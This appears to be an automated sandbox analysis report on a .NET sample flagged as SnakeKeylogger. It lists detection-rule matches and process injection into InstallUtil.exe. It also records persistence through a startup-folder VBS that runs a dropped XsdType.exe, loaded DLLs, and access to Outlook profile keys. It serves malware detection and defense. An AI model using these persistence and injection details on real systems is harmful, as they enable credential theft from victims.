Source: 0.2.pbgjw8i8N7.exe.3d0c7d0.1.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 3.2.XsdType.exe.3bbbdb0.2.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 3.2.XsdType.exe.3bbbdb0.2.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 3.2.XsdType.exe.3bbbdb0.2.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 3.2.XsdType.exe.3bbbdb0.2.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 0.2.pbgjw8i8N7.exe.3acd590.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0.2.pbgjw8i8N7.exe.3acd590.0.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 0.2.pbgjw8i8N7.exe.3b1bdb0.2.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0.2.pbgjw8i8N7.exe.3b1bdb0.2.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 00000003.00000002.1478818577.0000000003AD3000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 00000003.00000002.1478818577.0000000003BBB000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 00000001.00000002.2565094971.0000000000423000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 00000000.00000002.1349861546.00000000039B9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 00000000.00000002.1349861546.0000000003ACD000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: Process Memory Space: pbgjw8i8N7.exe PID: 1988, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: Process Memory Space: InstallUtil.exe PID: 8068, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: Process Memory Space: XsdType.exe PID: 6732, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23

Source: pbgjw8i8N7.exe	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: XsdType.exe.0.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: 0.2.pbgjw8i8N7.exe.3a7d570.3.raw.unpack, ITaskFolder.cs	Task registration methods: 'RegisterTaskDefinition', 'RegisterTask'
Source: 0.2.pbgjw8i8N7.exe.3a7d570.3.raw.unpack, TaskFolder.cs	Task registration methods: 'RegisterTaskDefinition', 'RegisterTask', 'CreateFolder'
Source: 0.2.pbgjw8i8N7.exe.3a7d570.3.raw.unpack, Task.cs	Task registration methods: 'RegisterChanges', 'CreateTask'
Source: 0.2.pbgjw8i8N7.exe.3a7d570.3.raw.unpack, TaskService.cs	Task registration methods: 'CreateFromToken'

Source: 0.2.pbgjw8i8N7.exe.3a7d570.3.raw.unpack, TaskFolder.cs	Security API names: Microsoft.Win32.TaskScheduler.TaskFolder.GetAccessControl(System.Security.AccessControl.AccessControlSections)
Source: 0.2.pbgjw8i8N7.exe.3a7d570.3.raw.unpack, TaskPrincipal.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.pbgjw8i8N7.exe.3a7d570.3.raw.unpack, Task.cs	Security API names: Microsoft.Win32.TaskScheduler.Task.GetAccessControl(System.Security.AccessControl.AccessControlSections)
Source: 0.2.pbgjw8i8N7.exe.3a7d570.3.raw.unpack, User.cs	Security API names: System.Security.Principal.SecurityIdentifier.Translate(System.Type)
Source: 0.2.pbgjw8i8N7.exe.3a7d570.3.raw.unpack, TaskSecurity.cs	Security API names: Microsoft.Win32.TaskScheduler.TaskSecurity.GetAccessControlSectionsFromChanges()
Source: 0.2.pbgjw8i8N7.exe.3a7d570.3.raw.unpack, TaskSecurity.cs	Security API names: System.Security.AccessControl.CommonObjectSecurity.AddAccessRule(System.Security.AccessControl.AccessRule)

Source: pbgjw8i8N7.exe, XsdType.exe.0.dr	Binary or memory string: application/vnd.openxmlformats-officedocument.presentationml.slide.slk1application/vnd.ms-excel.sln
Source: pbgjw8i8N7.exe, XsdType.exe.0.dr	Binary or memory string: .csproj.css
Source: pbgjw8i8N7.exe, XsdType.exe.0.dr	Binary or memory string: .vbproj.vbs

Source: classification engine

Classification label: mal100.troj.spyw.expl.evad.winEXE@8/3@4/4

Source: C:\Users\user\Desktop\pbgjw8i8N7.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\XsdType.vbs

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Mutant created: NULL

Source: unknown

Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\XsdType.vbs"

Source: pbgjw8i8N7.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: pbgjw8i8N7.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.83%

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\pbgjw8i8N7.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: pbgjw8i8N7.exe	Virustotal: Detection: 70%
Source: pbgjw8i8N7.exe	ReversingLabs: Detection: 63%

Source: pbgjw8i8N7.exe

String found in binary or memory: .aiff.airwapplication/vnd.adobe.air-application-installer-package+zip.amc%application/x-mpeg

Source: C:\Users\user\Desktop\pbgjw8i8N7.exe

File read: C:\Users\user\Desktop\pbgjw8i8N7.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\pbgjw8i8N7.exe "C:\Users\user\Desktop\pbgjw8i8N7.exe"
Source: C:\Users\user\Desktop\pbgjw8i8N7.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
Source: unknown	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\XsdType.vbs"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Users\user\AppData\Roaming\XsdType.exe "C:\Users\user\AppData\Roaming\XsdType.exe"
Source: C:\Users\user\AppData\Roaming\XsdType.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
Source: C:\Users\user\Desktop\pbgjw8i8N7.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Users\user\AppData\Roaming\XsdType.exe "C:\Users\user\AppData\Roaming\XsdType.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\XsdType.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"	Jump to behavior

Source: C:\Users\user\Desktop\pbgjw8i8N7.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\pbgjw8i8N7.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\pbgjw8i8N7.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\pbgjw8i8N7.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\pbgjw8i8N7.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\pbgjw8i8N7.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\pbgjw8i8N7.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\pbgjw8i8N7.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\pbgjw8i8N7.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\pbgjw8i8N7.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\pbgjw8i8N7.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\pbgjw8i8N7.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\pbgjw8i8N7.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\pbgjw8i8N7.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\pbgjw8i8N7.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\pbgjw8i8N7.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\pbgjw8i8N7.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\pbgjw8i8N7.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\XsdType.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\XsdType.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\XsdType.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\XsdType.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\XsdType.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\XsdType.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\XsdType.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\XsdType.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\XsdType.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\XsdType.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\XsdType.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\XsdType.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\XsdType.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\XsdType.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\XsdType.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\XsdType.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\XsdType.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: dpapi.dll	Jump to behavior

Source: C:\Users\user\Desktop\pbgjw8i8N7.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Jump to behavior

Source: C:\Users\user\Desktop\pbgjw8i8N7.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source: pbgjw8i8N7.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: pbgjw8i8N7.exe

Static PE information: Virtual size of .text is bigger than: 0x100000

Source: pbgjw8i8N7.exe

Static file information: File size 2034176 > 1048576

Source: pbgjw8i8N7.exe

Static PE information: Raw size of .text is bigger than: 0x100000 < 0x1f0000

Source: pbgjw8i8N7.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

